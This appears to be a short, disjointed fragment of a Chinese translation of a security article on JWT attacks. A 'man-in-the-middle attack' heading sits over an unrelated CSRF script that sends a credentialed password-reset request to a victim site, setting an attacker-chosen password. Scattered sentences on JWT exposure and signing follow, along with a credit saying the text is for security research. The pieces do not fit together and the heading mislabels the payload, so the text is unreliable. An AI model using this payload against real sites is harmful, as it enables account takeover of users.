中间人攻击<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.avictimwebsitewithJWTcookieauth.com/api/passwordreset"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send('{"newpass":"BadGuyKnowsThis!"}'); </script>
在捕获的HTTP流量中,在未加密流量的标头/正文中,在防火墙/网关/其他服务器的日志文件中,在引荐来源链接(如果作为URL参数公开)或其他地方,也可能会看到JWT。
它已对先前的标头和有效负载进行了编码,并用一个秘密进行了签名。
译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。